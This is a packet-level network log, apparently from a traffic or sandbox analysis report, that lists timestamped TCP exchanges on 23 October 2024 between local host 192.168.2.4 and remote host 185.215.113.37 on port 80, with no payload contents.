Oct 23, 2024 15:48:20.116978884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117028952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117052078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117060900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117085934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117111921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117146015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117146015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117163897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117197037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117223978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117223978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117228985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117249012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117264032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117299080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117312908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117362022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117362976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117374897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117413998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117446899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117448092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117481947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117516041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117547035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117547035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117547035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117547989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117583990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117618084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117618084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117651939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117685080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117686033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117722988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117757082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117768049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117768049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117790937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117819071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117819071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117829084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117863894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117896080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117896080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117896080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117935896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.117935896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117959976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.117970943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118005037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118033886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118033886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118037939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118060112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118072987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118099928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118105888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118138075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118170977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118174076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118205070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118236065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118252039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118269920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118297100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118304014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118338108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118366003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118366003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118370056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118398905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118406057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118438959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118465900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118473053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118508101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118541002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118570089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118570089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118573904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118608952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118629932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118638992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118642092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118675947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118700027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118709087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118742943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118766069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118774891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118808985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118834019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118843079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118876934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118906021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118906021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118911028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118937016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.118943930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.118977070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119000912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119025946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119061947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119066954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119098902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119102955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119137049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119169950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119199991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119199991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119199991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119204044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119240046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119241953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119273901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119301081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119301081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119309902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119355917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119362116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119396925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119425058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119425058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119435072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119468927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119494915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119502068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119532108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119532108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119539976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119573116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119596958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119606018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119632959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119641066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119673014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.119676113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.119827032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.220662117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.226511955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503144979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503202915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503240108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503242016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503274918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503290892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503290892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503341913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503364086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503376007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503412962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503437042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503488064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503511906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503523111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503557920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503563881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503563881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503592968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503627062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503633976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503633976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503662109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503695965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503699064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503699064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503734112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503766060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503773928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503773928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503798962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503829956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503834009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503869057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503875017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503875017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503901958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503933907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503942966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.503963947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.503978014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504013062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504045010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504055023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504055023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504079103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504111052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504123926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504123926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504144907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504179001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504189968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504189968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504213095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504246950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504247904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504281998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504282951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504317999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504323006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504323006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504353046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504374027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504383087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504416943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504421949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504421949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504453897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504487038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504522085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504528999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504528999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504554987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504589081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504599094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504599094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504640102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504673004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504681110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504681110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504709005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504741907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504766941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504766941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504796982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504837036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504837036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504848003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504879951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504913092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504945993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.504967928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504967928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504987001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.504998922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505049944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505093098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505093098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505098104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505131960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505166054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505173922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505173922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505198956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505211115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505249023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505281925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505316019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505326986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505326986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505350113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505383015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505398035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505398035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505413055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505424976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505466938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505506039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505506039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505516052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505549908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505584002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505594015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505594015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505618095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505661011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505661964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505666971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505702019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505734921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505744934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505744934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505769968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505809069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505811930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505811930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505842924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505877018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505896091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505896091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505924940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505959034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.505963087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.505992889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506012917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506012917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506042957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506092072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506125927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506145000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506145000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506158113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506192923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506201029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506201029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506226063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506246090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506259918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506279945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506295919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506329060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506361961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506370068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506370068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506395102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506428957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506428957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506464005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506474018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506474018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506498098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506513119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506532907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506552935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506566048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506599903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506633043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506640911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506640911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506666899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506699085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506711006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506711006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506732941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506766081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506782055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506782055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506800890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506833076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506840944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506840944 CEST	49730	80	192.168.2.4	185.215.113.37
